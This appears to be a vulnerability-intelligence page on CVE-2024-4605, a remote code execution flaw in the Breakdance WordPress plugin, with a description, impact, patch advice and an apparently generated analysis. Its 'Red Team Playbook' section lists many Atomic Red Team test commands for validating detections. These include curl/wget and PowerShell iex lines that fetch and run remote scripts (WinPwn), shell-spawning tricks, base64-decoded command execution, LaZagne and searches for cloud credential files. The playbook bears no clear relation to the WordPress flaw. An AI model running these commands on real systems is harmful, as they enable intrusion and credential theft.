CVE-2024-4605
Overview
This vulnerability is a remote code execution flaw stemming from improper handling of post meta data in the Breakdance WordPress plugin. The root cause is the storage of custom metadata without an underscore prefix, which bypasses WordPress's default protections for meta keys. This flaw affects the plugin's metadata management component, enabling unauthorized modification of stored data by users with limited privileges.
Vulnerability Description
The Breakdance plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.7.1 via post meta data. This is due to the plugin storing custom data in metadata without an underscore prefix. This makes it possible for lower privileged users, such as contributors, to edit this data via UI. As a result they can escalate their privileges or execute arbitrary code.
Impact
An attacker with contributor-level access can exploit this vulnerability to execute arbitrary code remotely, escalating privileges beyond their intended role. No user interaction beyond authenticated access is required, and the attack can be performed over the network. This can result in full site compromise, including data exfiltration, defacement, or persistent backdoors. The CVSS vector indicates low attack complexity and no user interaction, emphasizing the ease of exploitation once authenticated.
Solution
Upgrade the Breakdance plugin to version 1.7.2 or later, which includes a security fix addressing this vulnerability. The vendor advisory available at https://breakdance.com/breakdance-1-7-2-now-available-security-update/ provides detailed patch instructions. Applying this update is the recommended remediation to prevent unauthorized metadata modification and remote code execution.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Breakdance plugin for WordPress stems from its handling of post metadata, specifically the absence of an underscore prefix for custom data. This design flaw allows lower-privileged users, such as contributors, to manipulate metadata through the user interface. In WordPress, metadata is typically protected from unauthorized access or modification by requiring an underscore prefix, which effectively restricts access to sensitive data. However, the Breakdance plugin's failure to implement this safeguard means that any user with sufficient permissions can alter the metadata, potentially leading to remote code execution. This vulnerability can be exploited by crafting specific requests that leverage the plugin's functionality, allowing attackers to execute arbitrary code on the server.
Attack vectors for this vulnerability are particularly concerning due to the ease with which lower-privileged users can exploit it. An attacker could create a malicious post or modify existing metadata to include harmful code. Once this code is executed, the attacker could escalate their privileges, gaining administrative access to the WordPress site. This could lead to a full compromise of the site, allowing the attacker to install backdoors, exfiltrate sensitive data, or deface the website. The exploitation can occur without any sophisticated tools, making it accessible to a wide range of attackers, including those with limited technical skills.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. A successful exploitation could lead to unauthorized access to sensitive customer data, financial information, or proprietary business content. The potential for data breaches can result in severe reputational damage, loss of customer trust, and financial repercussions, including regulatory fines and legal liabilities. Additionally, the downtime caused by remediation efforts can lead to lost revenue and diminished user engagement. For organizations that depend on their website for e-commerce or customer interaction, the risks associated with this vulnerability are particularly acute.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify outdated plugins and configurations that may expose the system to exploitation. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have access to the functionalities necessary for their roles. This can help limit the potential for exploitation by reducing the number of users who can modify metadata. Finally, keeping all plugins and the WordPress core updated is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the vulnerability in the Breakdance plugin represents a serious threat to WordPress installations, particularly due to its potential for remote code execution by lower-privileged users. The ease of exploitation, coupled with the significant impact on businesses, underscores the need for proactive security measures. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their WordPress environments against this and similar vulnerabilities, thereby protecting their digital assets and maintaining the integrity of their online operations.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4605 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/095b23b7-71ab-41eb-b666-73df2e1a7eb4?source=cve |
| breakdance.com |
GitHub CVE
|
https://breakdance.com/breakdance-1-7-2-now-available-security-update/ |